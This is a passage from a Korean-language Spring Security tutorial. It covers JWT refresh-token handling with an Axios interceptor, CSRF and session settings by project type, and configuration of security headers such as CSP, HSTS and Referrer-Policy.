String username = jwtService.getUsernameFromToken(refreshToken);
// 새로운 Access Token 발급
String newAccessToken = jwtService.generateAccessToken(username);
return ResponseEntity.ok(new RefreshResponse(newAccessToken));
}
프론트엔드 구현 (Axios Interceptor):
// axios 설정
const api = axios.create({
baseURL: 'https://api.example.com',
});
// 요청 인터셉터: Access Token 자동 추가
api.interceptors.request.use(config => {
const token = localStorage.getItem('access_token');
if (token) {
config.headers.Authorization = `Bearer ${token}`;
}
return config;
});
// 응답 인터셉터: 401 시 자동 토큰 갱신
api.interceptors.response.use(
response => response, // 정상 응답
async error => {
const originalRequest = error.config;
// 401 에러 && 재시도 아닌 경우
if (error.response?.status === 401 && !originalRequest._retry) {
originalRequest._retry = true;
try {
// Refresh Token으로 새 Access Token 요청
const { data } = await axios.post('/api/refresh', {}, {
withCredentials: true // Refresh Token 쿠키 전송
});
// 새로운 Access Token 저장
localStorage.setItem('access_token', data.accessToken);
// 원래 요청 재시도
originalRequest.headers.Authorization = `Bearer ${data.accessToken}`;
return api(originalRequest);
} catch (refreshError) {
// Refresh Token도 만료 → 로그아웃
localStorage.removeItem('access_token');
window.location.href = '/login';
return Promise.reject(refreshError);
}
}
return Promise.reject(error);
}
);
// 사용 예시
const fetchAccount = async () => {
try {
const response = await api.get('/api/account');
// Access Token 만료 시 자동으로 갱신 후 재시도됨
console.log(response.data);
} catch (error) {
console.error('계정 조회 실패', error);
}
};
장점:
단점:
프로젝트 타입별 권장 전략
1. 일반 웹사이트 (SSR + Thymeleaf)
// 전통적인 세션 방식 사용
http
.csrf(Customizer.withDefaults())
.formLogin(Customizer.withDefaults());
2. SPA + REST API (프론트엔드 분리)
// Refresh Token 패턴 사용
http
.csrf(csrf -> csrf.disable())
.sessionManagement(session -> session
.sessionCreationPolicy(SessionCreationPolicy.STATELESS)
);
3. 모바일 앱 + REST API
// 순수 JWT (LocalStorage 대신 앱 보안 저장소)
http
.csrf(csrf -> csrf.disable())
.sessionManagement(session -> session
.sessionCreationPolicy(SessionCreationPolicy.STATELESS)
);
4. 높은 보안 요구 (금융, 의료)
// HttpOnly Cookie + CSRF + 짧은 만료 시간
http
.csrf(Customizer.withDefaults())
.sessionManagement(session -> session
.sessionCreationPolicy(SessionCreationPolicy.STATELESS)
);
JWT 사용 시 반드시 확인해야 할 보안 사항
토큰 저장
토큰 만료
XSS 방어
토큰 무효화
기타
| 항목 | 세션 쿠키 | JWT (LocalStorage) | JWT (HttpOnly Cookie + Refresh) |
|---|---|---|---|
| CSRF | 🔴 위험 | ✅ 안전 | 🔴 위험 (CSRF 토큰 필요) |
| XSS | ✅ 안전 | 🔴 매우 위험 | ✅ 안전 |
| 세션 고정 | 🔴 위험 | ✅ 해당 없음 | ✅ 해당 없음 |
| 서버 확장성 | ❌ 낮음 (세션 공유 필요) | ✅ 높음 (Stateless) | ✅ 높음 (Stateless) |
| 구현 난이도 | ✅ 쉬움 | ✅ 쉬움 | 🔴 어려움 |
| 토큰 무효화 | ✅ 쉬움 | ❌ 불가능 | ✅ 가능 (Refresh Token) |
| 모바일 앱 | ❌ 어려움 | ✅ 쉬움 | ✅ 쉬움 |
| 권장 사용 | SSR 웹사이트 | ⚠️ 비권장 (XSS 위험) | ✅ SPA/API (권장) |
공식 문서 기준 기본 헤더
Spring Security가 자동으로 추가하는 헤더 목록입니다.
# 캐시 제어 (기본 활성화)
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: 0
# Content-Type 스니핑 방지 (기본 활성화)
X-Content-Type-Options: nosniff
# Clickjacking 방어 (기본 활성화)
X-Frame-Options: DENY
# HTTPS 강제 (HTTPS 환경에서만 자동 추가)
Strict-Transport-Security: max-age=31536000 ; includeSubDomains
기본으로 활성화되지 않는 헤더:
X-XSS-Protection (Spring Security 6.x에서 기본 비활성화)Content-Security-Policy (수동 설정 필요)Permissions-Policy (수동 설정 필요)Referrer-Policy (수동 설정 필요)@Bean
public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
http
.headers(headers -> headers
// 1. 기본 헤더 활성화 (생략 가능 - 자동 활성화됨)
.cacheControl(Customizer.withDefaults())
.contentTypeOptions(Customizer.withDefaults())
.frameOptions(frame -> frame.deny())
.httpStrictTransportSecurity(hsts -> hsts
.maxAgeInSeconds(31536000)
.includeSubDomains(true)
)
// 2. XSS 방어 - CSP (수동 설정 필요)
.contentSecurityPolicy(csp -> csp
.policyDirectives(
"default-src 'self'; " +
"script-src 'self' https://cdn.jsdelivr.net; " +
"style-src 'self' 'unsafe-inline'; " +
"img-src 'self' data: https:; " +
"font-src 'self' data:; " +
"connect-src 'self' https://api.example.com; " +
"frame-ancestors 'none'" // Clickjacking 방어 강화
)
)
// 3. Referrer Policy (수동 설정 필요)
.referrerPolicy(referrer -> referrer
.policy(ReferrerPolicyHeaderWriter.ReferrerPolicy.STRICT_ORIGIN_WHEN_CROSS_ORIGIN)
)
// 4. Permissions Policy (수동 설정 필요)
.permissionsPolicy(permissions -> permissions
.policy("geolocation=(), microphone=(), camera=()")
)
);
return http.build();
}
| 공격 유형 | 실생활 비유 | 공격 조건 | Spring Security 방어 | 기본 활성화 | JWT 사용 시 |
|---|---|---|---|---|---|
| CSRF | 도용된 서명 | 쿠키 기반 인증 사용 시 | CSRF 토큰 검증 | ✅ (Form 로그인) | ✅ 해결 (Authorization 헤더 사용 시) |
| 세션 고정 | 열쇠 바꿔치기 | 로그인 시 세션 ID 재사용 | 로그인 시 세션 ID 변경 | ✅ | ✅ 해결 (세션 미사용) |
| XSS | 독 쿠키 | 사용자 입력 검증 미흡 | CSP (수동 설정) | ❌ | 🔴 더 위험 (LocalStorage 사용 시) |
| Clickjacking | 투명 레이어 | iframe 포함 허용 | X-Frame-Options: DENY | ✅ | - (변화 없음) |
보안 수준별 권장 설정
Level 1: 개발 환경 (HTTP)
http
.csrf(csrf -> csrf.disable()) // 개발 편의
.headers(headers -> headers
.frameOptions(frame -> frame.sameOrigin())
.httpStrictTransportSecurity(hsts -> hsts.disable()) // HTTP 환경
);
Level 2: 표준 (일반 웹사이트, HTTPS)
http
.csrf(Customizer.withDefaults()) // CSRF 활성화
.headers(Customizer.withDefaults()) // 기본 헤더
.headers(headers -> headers
.contentSecurityPolicy(csp -> csp
.policyDirectives("default-src 'self'; script-src 'self'")
)
);
Level 3: 강화 (금융/의료, HTTPS)
http
.csrf(Customizer.withDefaults())
.headers(headers -> headers
.frameOptions(frame -> frame.deny())
.contentSecurityPolicy(csp -> csp
.policyDirectives(
"default-src 'self'; " +
"script-src 'self'; " +
"object-src 'none'; " +
"frame-ancestors 'none'"
)
)
.httpStrictTransportSecurity(hsts -> hsts
.maxAgeInSeconds(31536000)
.includeSubDomains(true)
.preload(true)
)
.permissionsPolicy(permissions -> permissions
.policy("geolocation=(), microphone=(), camera=()")
)
);
Spring Security 공식 문서 (필수)
보안 표준
CSP 도구
꼭 기억해야 할 6가지
CSRF는 "쿠키 기반 인증"에서만 위험
X-XSS-Protection은 deprecated
HSTS는 HTTPS 전용
.hsts().disable()기본 보안 헤더는 4가지
JWT는 은탄환이 아니다
다층 방어 (Defense in Depth)